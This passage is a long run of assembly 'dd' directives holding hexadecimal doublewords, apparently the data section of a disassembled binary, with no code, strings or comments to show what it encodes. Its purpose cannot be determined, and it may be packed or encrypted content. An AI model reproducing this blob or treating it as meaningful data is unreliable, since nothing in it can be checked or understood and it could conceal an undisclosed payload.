643C742Fh, 0E58370FAh dd 0E2EC5E4Eh, 6F00F4FCh, 8577D082h, 2E0E678Ch, 1F8F51Bh dd 1FC14BFh, 4078C95Fh, 196F5EA8h, 17D25D3Fh, 0FF0089B1h dd 439AE3ADh, 26D1C341h, 310B5081h, 80CBC51Dh, 6FB2C49h dd 6EC6008Fh, 603E1E34h, 0CA00EF53h, 8781EBDCh, 84B5C7h dd 1409B470h, 51F2A947h, 0E4004376h, 0B1DEFF8Dh, 905F88Ah dd 577890FCh, 0D52DE280h, 5B5CAA2Eh, 2542039Bh, 80DEA596h dd 0CB3963h, 3B30EBD1h, 10572EA2h, 80970738h, 90BE0F1Ah dd 7F54763Eh, 619A004Ah, 6FADA4FEh, 4F032785h, 3E2B4E2Dh dd 98EC09Eh, 72300F10h, 0A600812h, 4E3729A2h, 0F901C67Fh dd 4F7B452Ah, 1DECC71Ch, 0D4CA008Ch, 5BF40739h, 5700347Ah dd 0F018CD82h, 7CFAE5D9h, 67741FC7h, 0D4B3C0B7h, 1BD3FF2Bh dd 95012172h, 7E344A55h, 9520FAD8h, 539D02D2h, 1B103707h dd 0A151B4A0h, 873CBFCFh, 16FC8777h, 5F44CCE1h, 0E67CA0h dd 0B98904DAh, 0A08A7547h, 0E885F30Bh, 0F9C08099h, 5B8D5Dh dd 0E672D49Dh, 0C9F4058Bh, 5A02F5F6h, 9F7548A2h, 31A44067h dd 3F7DFE42h, 0F28366ABh, 6CA2BA22h, 0E2208960h, 3BAA74A6h dd 91003D66h, 136CA3B0h, 8518033Bh, 8D306228h, 0EFDE0093h dd 0E64B350Eh, 9D0061CDh, 0F6B3AB90h, 146DE9h, 0A3C2D069h dd 747D2CF9h, 70D53704h dd 0DAC3F713h, 0E9CBB014h, 0CB500D2h, 3FF37FD9h, 7A00E523h dd 0F4FE7EE7h, 0E1312Fh, 0B53DC1FDh, 678ED7E0h, 8B521300h dd 57E7820Fh, 0A877A1h, 6D9B8AC8h, 6AA22AE2h, 64C5B507h dd 9E103F82h, 0C97861h, 0BDB78B6Fh, 0E290EC5Ch, 28504600h dd 63D13D26h, 6AB00089h, 0B6DF9CB1h, 0F400B24Bh, 646599E5h dd 70CDBF06h, 0E1D500D2h, 0D9BB19B7h, 0D60F222Fh, 808A2C38h dd 0A96D52B8h, 0E1FC1E67h, 0FA1EC081h, 8FC497A5h, 35076176h dd 1C5D86FBh, 0F7A15BE0h, 0E1560304h, 0C1C91E07h, 0A3249B98h dd 29CE1930h, 76B789h, 0BC5BD563h, 0BF33FA54h, 4F005EE8h dd 6DBA1CB5h, 0C4D86Eh, 64055FAAh, 237C21BCh, 7406EE79h dd 4C24D515h, 1AC00368h, 78B0FFA9h, 5F8EB205h, 0BBC0B9AFh dd 3EBE94BFh, 0AE0326F9h, 207F0E78h, 33572DC8h, 1C01B00h dd 56068688h, 0CA0A0013h, 0D5BB538Ah, 507148CFh, 80D7813Ch dd 24FE0849h, 0E7C18Eh, 0E90B8938h, 0C764B197h, 72165A00h dd 50014994h, 45D30083h, 0A95381D5h, 0BD0A6E55h, 0CDF61D6Dh dd 0C01B430Eh, 0D44C2EC8h, 0B3EC264Eh, 3FED00CFh, 26F5FDA5h dd 88601800h, 22BB8E08h, 4ED53009h, 0FC248420h, 2A52C09Dh dd 0CC1F03FEh, 77A7F816h, 30052000h, 0FB1DE68Fh, 6907000Fh dd 8E094357h, 7D04A340h, 7F232DE5h, 4B412AC0h, 0AAC900D5h dd 0E122AF71h, 4000BD09h, 1329FEDh, 0D227DAh, 0DF8CA6D9h dd 0FE4C486h, 20E6A8CCh, 903C004Fh, 0F50C37D2h, 6008CDFh dd 2B43EF70h, 33AAC89Dh, 80B8D793h, 5483EC0h, 44947601h dd 0AAD115C3h, 8050B0B0h, 0C9B0FF53h, 8A74A401h, 0AAF06DABh dd 0B5EAF8h, 3375D196h, 0A7ED1CA6h, 0D2380E67h, 0B707B813h dd 0AB3CEE03h, 0CB081801h, 2FC720F0h, 5C524100h, 9F724EAh dd 276EA07h, 0F83F129Ch, 0A8E01151h, 9707602Ch, 0C3B3E84Ch dd 455D6270h, 0A6741816h, 0BF2E84B2h, 2DD8500h, 0E2A5B4DAh dd 67EF1EEDh, 5DC4095h, 372357FBh, 0AACE4103h, 788968E9h dd 0CBFC39h, 8899F67Ch, 0C04A2AD0h, 7E45104h, 0C0BE9A68h dd 21709C34h, 7178239h, 981FF8FBh, 9138AB83h, 0C40908Bh dd 0EB77A3h, 231B5C51h, 0B6189AAAh, 0D5208560h, 13C97AD6h dd 18CB31DDh, 0E561195Bh, 0F54ABD0Fh, 74C9C0C1h, 38052C04h dd 7F465F6h, 0B3E54D86h, 0E38C50F5h, 6F0982C5h, 80FBD65Dh dd 6D6AC8A3h, 0BCFF01C4h, 0A522391Ah, 3FC3D233h, 70D201Dh dd 70309380h, 0FDC8B2h, 9E203E26h, 0C54ACEEAh, 31B6510Ch dd 5550C9h, 69CC680Bh, 7F68E63h, 188F153Ah, 0A320C575h dd 111600B9h, 32B0CC4h, 27025BB3h, 0F202E385h, 43848097h dd 0EACB1F70h, 4C4A140Dh, 3F0010D5h, 0F7FC83E5h, 0FA01A8DAh dd 13AEF5DCh, 1080E8CEh, 0B1941B06h, 0DD07687Eh, 0E7FE04E5h dd 0F5D243h, 8BCCF020h, 0B5DB1E0Eh, 0F6DD051Fh, 23E89143h dd 0E0F78840h, 0A5A4001Ch, 0E143FC3Ch, 8712862h, 0E3D383Ah dd 58E6F2F9h, 861270F9h, 6168E80Eh, 648FE86Eh, 0EFC4543h dd 3A118C01h, 0E740AB9Bh, 78D037EBh, 56B100C8h, 426BA4B2h dd 855424ECh, 5C4380D4h, 0D443E507h, 3131641Ah, 7E009085h dd 0DB008958h, 142FF78Ch, 0EDFC82h, 1BCEABDAh, 0FF43063Ah dd 6C4E0A00h, 88521F7Ch, 79420B9Ah, 0C78EB32Ch, 23F00D2h dd 7E20B8EEh, 9BD73800h, 4FE0C951h, 0A41F0AC0h, 1878650h dd 21530A01h, 0B99C60EEh, 0BFA9BD00h, 76E130Eh, 9CEF076Bh dd 60D45203h, 36A66F74h, 1ACB48h, 218D4A63h, 0BFF32Fh dd 76D464D0h, 42BC58B2h, 0F07C8398h, 0C2757900h, 2F04C599h dd 0DF038h, 0C13AB012h, 8D37286Bh, 0F1FC9107h, 34C0E6ACh dd 0FB9D08Bh, 0C9993987h, 9D8FF301h, 0B49EE084h, 0ED284760h dd 7688CFEh, 0B741CCDAh, 30C9E769h, 0DE669DAAh, 0C238A100h dd 1CF05C97h, 303DE276h, 0BC086E1Ah, 4CE691EAh, 0F45B1D0Ch dd 7EB34885h, 204B3F0Dh, 8FBBF300h, 7D7B01ABh, 67167700h dd 9DE6FAFDh, 226400AFh, 3779F0D4h, 39F638EDh, 0E32010Eh dd 0B31B80DEh, 7BA0BD8Bh, 66A302Fh, 962437A8h, 5BEC68C0h dd 3C67CABh, 87508B7Fh, 3DC3ACC8h, 0FAC05FA8h, 0C72FE707h dd 0B8809138h, 590F9Eh, 0E6B169FFh, 28933064h, 457A1E1Eh dd 1306DA80h, 793BC580h, 76E90604h, 792ECBF1h, 74C79802h dd 0A9BD5057h, 0C0228E98h, 81601B36h, 4E3C00C5h, 0E266E926h dd 46E18E55h, 0CF0059B3h, 2BD22C12h, 7217E33h, 4C27E13Eh dd 307717D0h, 0E3D7578Eh, 401E74E0h, 2C1D190Dh, 8917A840h dd 4B96DEh, 73EBB049h, 59E0FD41h, 76AA3300h, 32AC2C7h dd 13860096h, 0A58E6F0Eh, 7D0064F9h, 95924582h, 3BFECE6h dd 0DD8F9A2Fh, 0C02E0860h, 813BA506h, 3EE6B6C4h, 18803884h dd 66D75293h, 0E318C1C7h, 61F0A9B9h, 1F870135h, 9273849Bh dd 2F8C40DEh, 2D48C9D9h, 0E0C5155Ch, 1F04032Ch, 0D43EF9ABh dd 89CD2F30h, 84AC5580h, 0BCF38B10h, 0AFF85608h, 0BFFDA188h dd 8D53B11h, 8AABE78h, 1743855Ch, 0B1B11046h, 2B3784B2h dd 7A738080h, 59A26747h, 5E2747Dh, 5804B778h, 888075B0h dd 0A02B603Eh, 407E3B2Ch, 0AE420DC6h, 0BE632F08h, 6DC1E04h dd 8AB46D4Ah, 43FCB4C5h, 0D0608E99h, 2301A450h, 0B7B861h dd 0F584662Bh, 2C90C9F1h, 3F5EB114h, 80B43BC4h, 0C456B875h dd 0E6213C1h, 8D012957h, 4FDD0350h, 0F7392F5Bh, 7F0090AAh dd 0F6CB5D91h, 785FE2Ch, 421899B7h, 5A1EF02Eh, 0BA139190h dd 30520592h, 0ABC11C02h, 867440FBh, 401313ACh, 6D042014h dd 0D500A9F5h, 82445E31h, 0EEEF235h, 4576DB37h, 75A12B60h dd 40480151h, 5DF2859Ch, 0B479D70Ah, 0BCB24905h, 46F09805h dd 7C68BC00h, 0B0993CF8h, 603E7FFAh, 2AFDD17Bh, 763D6D6Bh dd 0E22C800Dh, 0C5B03705h, 2D9124FAh, 0EAA98034h, 0C9565812h dd 76349703h, 0A82AA238h, 0D3E4DBh, 997565A1h, 0E2FD7B1h dd 449EBD0Ch, 7D2BB6DEh, 6F3F0014h, 0E5AEABADh, 773DFD16h dd 0B5C68255h, 0E04730FEh, 0C02B8D5Ch, 37F18CD0h, 0C30074D2h dd 2D260843h, 989F0760h, 7397E83h, 0BD87691Ch, 48C7B0DBh dd 4D02E3EFh, 626A0496h, 0CAC3E4h, 88F62EE1h, 0B10A1CB3h dd 0C676E13h, 4995F200h, 3C75548h, 5CFE0D77h, 0A480BA46h dd 4006B3C1h, 0B7E1FC43h, 0B8BD0091h, 152DF045h, 3C3091E4h dd 291F18D5h, 2C889A81h, 3D8659Fh, 0D7639187h, 34932000h dd 737CBB6Ah, 71F00F3h, 2AED2B1Ah, 0A812C43Fh, 5040FCBFh dd 33D7A55Ah, 4C46001Dh, 0DAC149A9h, 0DB009776h, 0C33F2F37h dd 5D762h, 0B7C90BBBh, 7E997AE8h, 3CB61207h, 19606F75h dd 32FB4Fh, 8552F196h, 0FE8CCCD7h, 0FD93D00h, 6F16865Fh dd 510B00C8h, 35A3C215h, 64006E76h, 0DD4BF439h, 0DECE7Ah dd 757DFA0Bh, 0FE0E83F1h, 15578D00h, 0D3E67B04h, 0E35900DEh dd 54AAF3E7h, 74E6B37Fh, 93CDFF00h, 6877DD7Bh, 6DB8004Fh dd 24C131DEh, 720040A4h, 85162981h, 5AEFFBh, 3D4C860h dd 0A20F3F78h, 57DF4B00h, 0F1B6BCA1h, 8AEB0381h, 581568FAh dd 0B2119AA8h, 1891D300h, 51F24F0Bh, 0E92158E3h, 0D659E00h dd 387027F5h, 5755DE03h, 0D00CD5D9h, 736A5CEh, 3D24950Bh dd 0BB1E302Ch, 0FE00E144h, 5253EAB3h, 0F1037D3h, 7EBDDB48h dd 1F94716Ah, 0EEC20FB5h, 8C9ABB60h, 7B3163D7h, 16871833h dd 88C1044Fh, 0F096F04Dh dd 640127CFh, 0C706E81Bh, 0A0C8B92Ah, 8D2E00AEh, 757286A2h dd 0C10C79F8h, 28211ED7h, 0D5FF4493h, 0F77ED844h, 1169E611h dd 571034CFh, 0A308362Eh, 8489AA86h, 0F1C02C5h, 0C328D1DBh dd 40CFF228h, 4B62C0F9h, 2132B729h, 8C54DCB4h, 29150250h dd 8311E197h, 2F4511FEh, 57CE518Fh, 6DDC0870h, 86BF1026h dd 22A10962h, 0D3108C7Ah, 0B281A60h, 0C68E7E64h, 2976C679h dd 20B55B22h, 0E5FCFA67h, 0FB269000h, 527B7899h, 6D4D0EDFh dd 70EEF39Ah, 2691C780h, 39003BE4h, 42BA018h, 15B73F7h dd 3C658EE6h, 0D4C0B241h, 5E7F3074h, 0C00D1FCh, 4EB0174Ah dd 3F75EE4Ch, 28086BAh, 8573C24Fh, 0B27BCB26h, 0D7445700h dd 891BF8B0h, 168E68Eh, 9DD1113Dh, 0F01330B3h, 0A500DD3Ah dd 292BC1D3h, 4941E0h, 0BFCCB669h, 867C739Ch, 22F43C01h dd 19050DFFh, 3E9B57C8h, 94262B5Fh, 0BB1800D5h, 22778216h dd 1E563Ch, 2FA89F41h, 1EEB8CCBh, 406FEC85h, 0BD5EB759h dd 0FC482E83h, 9A0E6040h, 3C8D0229h, 0C19FEC41h, 0C0B301F4h dd 0D05A6452h, 0BC1CD84Eh, 0DE07E16Ch, 6870C7F0h, 0F7BA0Dh dd 8E9169FDh, 0B4B007DDh, 387C6602h, 60578362h, 0ACBD5Bh dd 42E5BFE0h, 5CB2563Ah, 6C33E20Ah, 0E701905Eh, 0EE038077h dd 3F73B7C8h, 0D5872AA9h, 40435F10h, 13703F93h, 8C94C300h dd 0E277ED8Fh, 0EBA6016Eh, 2F153E7Dh, 18B3EB44h, 4E9FD6C8h dd 0ED1D3373h, 55D84284h, 1DEF309h, 7750E1BCh, 80EB6994h dd 9C73C818h, 0C758AFh, 0B8A76D83h, 0BC6ED74Ah, 0E9D84000h dd 92A890CCh, 97F64Dh, 9AEEAE0Ch, 1418B2ABh, 40885060h dd 0E5AD7Eh, 2655F96Bh, 2E6ADDA5h, 494C1D16h, 8E428800h dd 48C1D75Ch, 0D10047D4h, 0AF13F573h, 11010D31h, 6E78A63Fh dd 0E02FEF3Dh, 70C3A42h, 10E9201Bh, 33D90E12h, 54837CDEh dd 3CB8FA79h, 0F898F4C6h, 4C00A870h, 8D6CD423h, 2E0E5186h dd 335F74Eh, 848ABA6Fh, 0E14172A0h, 0DEEB9E00h, 33AA2788h dd 619A0097h, 19D68D0Bh, 140084A0h, 93A154FDh, 248001F4h dd 3D2637B2h, 0CD4F300Fh, 0CAA9A3E0h, 0D3FBA72h, 2DFE80E0h dd 0C06B0A2Ah, 0F4470009h, 0E273B628h, 40009380h, 9EEB4A87h dd 7863D0Ah, 0F035DD4Dh, 82F4C0BDh, 3200FA07h, 0C99BDB20h dd 4F897Bh, 0BF5D1873h, 5EF87727h, 0E2EC7C00h, 0E16B3372h dd 251A00C4h, 775F9C7Fh, 8C1E3A69h, 0B4066CC9h, 20E839h dd 0BB6BFCEAh, 1D2C5DFBh, 97508900h, 0A95FF574h, 402800C7h dd 0B66ED1CAh, 0C00E851h, 4B08A872h, 0A2A3C8h, 52F52719h dd 5F51771Bh, 79A0C504h, 0F8901DC0h, 67CAADh, 0EB9D7DD3h dd 0E6E3F450h, 69A20900h, 9ED63E7Bh, 13F2001Dh, 9AA772C8h dd 84DC55D7h, 7D00F43Ch, 1F1D6204h, 1F06ABAAh, 0DE4656ECh dd 7A920099h, 784BC8D1h, 387DA800h, 8019B68Dh, 32810001h dd 0B26A3D2Fh, 9A0037F7h, 8BA7C382h, 21C2FDh, 0C52549E2h dd 6C76AF1Fh, 770041F8h, 0FCBB4562h, 39144Bh, 5EB9ED97h dd 284C99BEh, 788E8200h, 0FE619B22h, 0A07D018Ch, 0C0185A10h dd 9C50F48Dh, 39A6B000h, 0E835914Ah, 206905D1h, 87893C47h dd 0C2A5F086h, 0FB005C93h, 0AC8FE643h, 544A29Bh, 0E02CB145h dd 37D10FB0h, 83547220h, 787BDBD3h, 0A362C400h, 328D3A39h dd 417E99h, 8A8066E4h, 68B852C7h, 0F21F71ECh, 0E012D5ABh dd 698F0444h, 0D33565C0h, 61BE0E6Eh, 0F34BABh, 276DA168h dd 0FC9003E9h, 0F1EBBF00h, 2BF5B61Dh, 0D5870017h, 7EDA65CAh dd 0E1001EEAh, 24C63ABAh, 0A0C0D34h, 480350BEh, 0E8C880F4h dd 76BAC06Ah, 0F11C8000h, 4652FAE7h, 1E5018D3h, 1F3934CCh dd 69A81800h, 2312119h, 0A2E70035h, 0EDB792A1h, 0CD0371FBh dd 93324D5Bh, 2153B10Dh, 90EB84D8h, 0DE9701E0h, 946EA2C4h dd 2C55E47Ch, 16786000h, 2ADB04F0h, 0FE0D0E0Eh, 0C1A0E992h dd 8E93583Bh, 0C701CAF8h, 0EF0FAE7Ah, 16F85489h, 0AA73DFh dd 1ABD2D96h, 0B13340C7h, 0C646C300h, 34E68FCh, 1E9CEA0Dh dd 72529D5h, 80AEA205h, 8C37F0F7h, 0D9036302h, 607C2760h dd 140E44h, 0C50985B4h, 33C06245h, 6CE46450h, 0E42CF500h dd 98FF1E3Dh, 5B050003h, 7338DE3Ah, 0D403B552h, 0EAAAA31Fh dd 76908002h, 440E0006h, 0F8F4748Fh, 0F2004D3Ah, 0E2B392DCh dd 2EC05BB6h, 39F4E1A9h, 888E01F4h, 138FA111h, 7A6BCC79h dd 5B672D00h, 201E2CFAh, 0C6CEA0E1h, 0D74800B0h, 0CA30391Ah dd 0B4004273h, 21E3F864h, 2E74B3BFh, 0BC8E41h, 33D0127Fh dd 440FDD85h, 0A262C9h, 6FCED734h, 0F0A9005Ah, 90316BEEh dd 1A038B4Ah, 0D29F2A8Ch, 24E3814Fh, 4300EC33h, 0FDB96FF0h dd 9B00E0FBh, 2550BC3Dh, 4FDA23h, 94EE55C9h, 0D435033Bh dd 5FB6F900h, 0DBE3CC51h, 5370ECh, 9BEEAC1Ah, 60036270h dd 0D2CECA00h, 6A45EE4h, 97A90F5h, 52DC1CE1h, 0F9582500h dd 83F6F857h, 0FC37D000h, 2DC36BD4h, 8099B02Bh, 1D6E3BD8h dd 80C05924h, 144C9A2Eh, 0E500B709h, 5EFFB8EAh, 1FBF7BD5h dd 193238Ah, 9D281192h, 1E82C08Bh, 0A755807h, 0EA22EDBh dd 239CA067h, 2CB54FFh, 0BE5DE23Dh, 8A40AB05h, 5F009FBFh dd 0F00A3860h, 1D36D2Fh, 74B2A881h, 0DC40BB5Eh, 0D03FC159h dd 0DE00FE18h, 0AA4E6C8Bh, 0F84B0Fh, 9601E7E0h, 88B23220h dd 3D68A00h, 0D47BCD3Bh, 0CF79383Dh, 5768FA00h, 86B5B3C9h dd 0B48A4C00h, 0EDDF639Fh, 44E5077Dh, 0FD3943Eh, 43362CC0h dd 91008705h, 314FB0A5h, 2C6F6h, 6C66BDCCh, 3EA1E270h dd 0B348C500h, 3C0C4DDAh, 2B531EEAh, 0B954006Eh, 58C36A94h dd 3EAA3900h, 8C630DACh, 0EFC00065h, 0EDCB127h, 7900B728h dd 6F962B61h, 1FEB5514h, 0C11BA49Ah, 8B8DABB8h, 6C19F059h dd 543DB10Eh, 0BE920040h, 1A66A83h, 0DF521053h, 0D534F69Eh dd 6415C041h, 8C497B02h, 0E07F0D5Eh, 59F2D4h, 48CE1E5Dh dd 0EE4C8B4h, 3D0CB306h, 3D742F5Eh, 700DA97h, 0C2A488C3h dd 0A501CDD3h, 0FC350C6Ah, 0C0F67667h, 0CC9339h, 95685C7h dd 25E10D3Dh, 38045507h, 1AB07F44h, 1991076h, 0B48D6543h dd 0E0C180C6h, 0FA00EBE2h, 0F945AEC5h, 1E589AAAh, 40D5A7DEh dd 0C761D3A5h, 660360CEh, 2EE1793Bh, 3ED8138h, 0B66C60h dd 0C12CDAAAh, 0E1E7CA25h, 9455A603h, 0F35B6AB5h, 0E01BB22Ah dd 5C3D2Eh, 14B8ED73h, 0E8833A75h, 0E4958607h, 0D7329B7h dd 27B3882Fh, 1DE0F1h, 0B6C7BE4Eh, 1C1695E8h, 0B00E678h dd 7EFA99CBh, 388B7755h, 0FFB719h, 6CF11E9Ch, 5224063Ch dd 13BF3200h, 12497AFCh, 6D9D00F2h, 76449E73h, 0D307F538h dd 96093984h, 0A1709350h, 0A80300A3h, 0FB91790Eh, 6700C902h dd 3E308487h, 0E8A7C1B6h, 0AC0D00E7h, 5FF35ACEh, 64006A88h dd 470BCFBCh, 0F50068Dh, 71ADAB1Bh, 387E3640h, 0C494E022h dd 0C6C20540h, 45DC0762h, 2247617Fh, 0B7C058E5h, 2448C0FAh dd 0FB200E00h, 8A858080h, 168681FCh, 0FC3CA94h, 13697A24h dd 0A8E1E480h, 2500A010h, 0BCD0BA54h, 38D9D169h, 1C4C9ADAh dd 6E01CB05h, 0D0228048h, 0DF19E9CAh, 0E5581AB1h, 2E553C30h dd 7242A6Fh, 0A02EBD12h, 0FCD14EA0h, 5C3590Fh, 0B926600Eh dd 1F39D8F6h, 0FD59BEAh, 0C5E0A42Fh, 31BB18Bh, 486D6600h dd 52CB7163h, 67A303F5h, 82377BAFh, 319892D8h, 0C73EB500h dd 3C769BA8h, 209F013Ah dd 737D0E3Dh, 0BD2CD0B7h, 9535C303h, 805E04B5h, 2149E7h dd 8F395B96h, 0BEB60F85h, 0FC1D9200h, 54A65E86h, 0D8D0472h dd 8AD45105h, 2DDC0074h, 52EB6446h, 6F9407ABh, 0C99C714Ah dd 45B69A00h, 2005159h, 6D535292h, 2B0247Ch, 0FDDA65Ch dd 0FE608D67h, 41075F83h, 896CEF9Fh, 8688BF50h, 8CA11D26h dd 0DE9CC0CAh, 71BA032Ah, 70591724h, 847CD400h, 0FAB1CCA7h dd 0F5D2007Dh, 700E7E65h, 0F2006396h, 0A423728Dh, 0B16756h dd 9F923BFDh, 0EC431F36h, 0F4B4FE51h, 0B20E99F2h, 258B137Bh dd 0A403EBBBh, 0C85A64DAh, 9EFCC8h, 6552E135h, 0EB07BB80h dd 3A00D078h, 0EEBA4A2Eh, 0FED2ADA1h, 6B2B00CDh, 0AB88A3B4h dd 0B0009E01h, 0A50EAA76h, 0BB4A61h, 55290D30h, 799C8BBEh dd 38A3F80Eh, 0A69DE195h, 0E5D8D736h, 0DC91717h, 0E10D00B5h dd 7FDD8C96h, 99B1AE01h, 0EE65C74Eh, 2C61CADCh, 8E1CFh dd 0FF0280AAh, 1302307Ch, 0C3C4C4Ah, 0F7A880A4h, 479A2B9h dd 0C6BD9199h, 0ABECC0E0h, 857296AFh, 0A8F8D707h, 8CA1E3D1h dd 0B840A02Bh, 0E4B32353h, 0DCF00085h, 3E889695h, 6802BA0Bh dd 282D39C7h, 0AB44608Bh, 757700E9h, 0BA3C9FE4h, 1700B659h dd 0A56C490Dh, 0F45F9D6h, 28AFC8E6h, 1C67A7h, 0EF49C783h dd 0DC81AA00h, 13F2E61Eh, 0BF8E005Eh, 85B5334Fh, 0B3005164h dd 5DDCC2CAh, 0EB520A27h, 11FF473h, 82EAC0EFh, 0E0FD42E5h dd 0D16A318h, 3FED2690h, 0C71E8974h, 0C120468Dh, 0D901A0AFh dd 0D209B6E4h, 54281087h, 2F522B00h, 0D7F0864Eh, 2DAF70FDh dd 8D07F47Bh, 0DC67B0DAh, 48A66EF1h, 1B337F0h, 0F9BF1F79h dd 0F844038Dh, 30039AEEh, 88C25F9Dh, 0AD6CB825h, 8499009Ch dd 0FB2BBFB0h, 3200BBC7h, 2F4FDDE7h, 9AD355h, 8FEB9C82h dd 58C71F5Eh, 6C001B7Eh, 0A98E8337h, 50DEB1h, 541757C2h dd 0D09472C8h, 0FC007C7Eh, 1EB7CEA0h, 0C40988h, 6723D38Ah dd 5155F510h, 64963A00h, 7A5A02ABh, 5E3800B0h, 0F51383A9h dd 82009B5Ch, 42C434FCh, 0FFFE269h, 2329D64Ch, 0CDF304E0h dd 4F13578Bh, 0B0000B8Fh, 322E3EE8h, 67A91676h, 0B72802B0h dd 0B860F4F6h, 3B00E787h, 894616DBh, 125AF25Eh, 848218h dd 0EA5440A4h, 0E400D4C6h, 127F2172h, 12518548h, 0C1174466h dd 0F534E000h, 4F0C20B8h, 42E44B00h, 1AB57E55h, 0E67401F5h dd 62766E88h, 2CC9FC66h, 9D25800h, 48E2930Eh, 0F5E8A2C8h dd 0CFA52CE0h, 0DA241000h, 0DEFFB54Fh, 640728B9h, 560A02BCh dd 93A42690h, 0E0A768E8h, 60389B00h, 35A00F6Ch, 3C1A1C2Bh dd 3F2EC0F4h, 0EBDB136Fh, 6C3B8E00h, 1FC94AA8h, 0EC0C01D0h dd 7325D7CDh, 22F1E48Ah, 964FB60Eh, 0C2479EE2h, 67D0E7DBh dd 0E674F757h, 1E201818h, 0EF4FA8CAh, 8A82FB00h, 0EA7CAA94h dd 5461C16Ch, 0FD53EE47h, 380C2072h, 0C970B098h, 5A7C3503h dd 0C0A11C49h, 0FE41F321h, 0A46E05FFh, 2593DAFh, 144DFEA6h dd 0E01E6C46h, 69408643h, 0A694709Dh, 955F1DEBh, 5B2680F0h dd 2355D044h, 0EE87CC00h, 0FBD596FEh, 0FF191F36h, 8B74C315h dd 0C08DB45Ch, 0E4122312h, 8092092Dh, 394258C0h, 5CB97B44h dd 0A11E9C56h, 7C2C40FAh, 8558E748h, 69E6C700h, 57BAAA5Ch dd 0E5881331h, 0EB7C01FEh, 0C809B1F2h, 5C00CF74h, 621CE6EDh dd 0FA633E0h, 0B0E49DA9h, 0A12BEB20h, 4A7203F6h, 0B475D200h dd 51A9E294h, 722E0054h, 1143E710h, 280C5B09h, 0A0D769B8h dd 0BA1902F0h, 555376FEh, 8A0D0040h, 0D05CE21Eh, 0C39B2787h dd 28FAF801h, 33FBFF40h, 0F6620411h, 0C01B997Ah, 1F313E8Ch dd 0D8286000h, 68B3872Fh, 48CDF079h, 984091C5h, 0BC5F3BFAh dd 0D1045E00h, 1AA07663h, 0B82CBE28h, 14646100h, 0BD330205h dd 936500E1h, 5DA17CB6h, 29006926h, 84B3D56Ah, 168F0C5h dd 0B9B7F2B1h, 81E7AE61h, 1F65719Ah, 3360694Fh, 98D207DBh dd 30803B78h, 4C81B1EDh, 7E20A600h, 3CCF8782h, 0BB073EE8h dd 2879A007h, 6D8A6146h, 953E8ECh, 0CA8E8600h, 920EE390h dd 0FAC70705h, 80AF522Fh, 5751759Eh, 66778400h, 0BB88C3D9h dd 0E0F800D1h, 0EC4ADE2Bh, 992CC711h, 31000090h, 0A6625E96h dd 21F50097h, 36221BE8h, 2C05B8EBh, 2EC4D881h, 0BB5AE000h dd 72F1751h, 0C9B26525h, 0CC39B5EFh, 557B7A28h, 0ABB0CA0Bh dd 3440BCFh, 0C8B10E9Ah, 903D9079h, 92542CF4h, 0C07A8004h dd 0A803625Fh, 0C8E249h, 2106BE87h, 0D2328Dh, 3EDAD08h dd 982CD91Dh, 0BCE41401h, 0C51CE53h, 0C1336F0h, 5870A560h dd 1F77AC10h, 1C224D0Eh, 0D96D612Ah, 782435DBh, 0D2C1F80Dh dd 7E3D03F9h, 699841E3h, 73079828h, 0BDA92902h, 96188FA0h dd 8BEA0103h, 5C80A5FBh, 631070E2h, 0B284Ch, 0A99A4A9h dd 71139Dh, 56FF7A62h, 0CE7E34Dh, 9EEC31Ch, 6B453280h dd 738DF3AAh, 0D3FB0087h, 0D6502A4Fh, 0E3005E7Fh, 7606C36Dh dd 5ACEEF2h, 0D028547Bh, 0C064D72Ah, 4EE3F06Eh, 0F3004CFAh dd 5C6FC485h, 3AD21Bh, 10E49C4Bh, 0E6B51D9Fh, 1118FE71h dd 4F09AE77h, 781E0934h, 3480C5F8h, 0DE1965A9h, 1D0D3D00h dd 9C94CCD5h, 4D32002Dh, 2F13408Ah, 460025ADh, 7670C23Dh dd 0D2E7A6h, 5977941Ch, 0A05B7550h, 1F24024Ch, 11A0D1B8h dd 26BAABh, 152E2CD8h, 40E27Ch, 9816D3E5h, 79B7F466h, 9FC98A3Fh dd 0F540EC25h, 0E2999390h, 0D36E0001h, 4F9C0EE0h, 1C01D18Ch dd 95DD828Ah, 9FF7518Dh, 73333170h, 0FC2700F5h, 0C517EFA5h dd 0FF001308h, 18C229A9h, 24F22BD6h, 4F660Ch, 5EA3D837h dd 43002FBEh, 55F9BC4Fh, 65495BFh, 0B374E28Ch, 6613C083h dd 3438BD89h, 5D993B12h, 0A7540603h, 70C3F8CCh, 132965D0h dd 5AA5F403h, 0C06C5FAEh, 0FDF1Dh, 4D1B2A24h, 0B33A9280h dd 5C5B5318h, 3473520h, 79AB9CCEh, 9BA3F06Dh, 80FB483Fh dd 54D26231h, 4FD53C2h, 4287EF9h, 0A494C14Fh, 0C00A2AB9h dd 7328D896h, 0BE758C00h, 78461583h, 0C6900711h, 0D00F12B6h dd 0B8707966h, 8297711Fh, 7DC1511Fh, 2D0D1507h, 0C081EBDBh dd 9B5DCCh, 7771E0E8h, 0C4F1C524h, 0D9B0A373h, 0C9E14C00h dd 0DFBDB73Bh, 3E736Dh, 0E8B1AE82h, 3F0976D9h, 3D298703h dd 3A229Bh, 804FD038h, 0A13C0F6Ah, 0A81C7100h, 5708E705h dd 0A2A50010h, 9440F018h, 0BF67AFBh, 0EDA30D03h, 0B04BFDA7h dd 7EB55Fh, 7616F00Ah, 7006EBCBh, 0D757F8C3h, 1DF3987Ah dd 61810033h, 890D6494h, 5800192Bh, 5AC1ABA2h, 605F4h dd 63D5CD28h, 507FC2A6h, 0D42CE200h, 7908E5BDh, 34810B9Ah dd 0B801E1BAh, 0C6445476h, 0CA047CF2h, 0B3D323F6h, 0D64B1080h dd 58213AE9h, 1DA31680h, 32373F45h, 43652300h, 0E12F7BF1h dd 38D40068h, 2C471815h, 3605511Dh, 2A06BD5Fh, 0DC875CC0h dd 68650012h, 0D0B5EC62h, 9C07FFA4h, 0CFF59EC3h, 51C0D395h dd 0E3AB232h, 44BEDCE7h, 0F869483h, 0E15963A9h, 872880D8h dd 0D44C0217h, 2CA63016h, 6C82A060h, 22B0ABECh, 5D9F7618h dd 4CB918h, 0CF3EDFE3h, 0E1E46108h, 19338201h, 4E161848h dd 984F37E4h, 0D8FB4C65h, 6800EE38h, 293F19DCh, 2E77CA17h dd 8E03E278h, 38432BC0h, 655A980Dh, 53EF0036h, 4A02CAE5h dd 3C005C98h, 0C674913Bh, 8439A7h, 6DFFFB4h, 1A0242E6h dd 649EEB01h, 189791C5h, 0EAF49D4h, 88591258h, 6760F4AFh dd 7D3961CDh dd 63E95207h, 5AE07C5Ch, 250F337h, 0C9FE57E6h, 6452979Fh dd 0DEC20E03h, 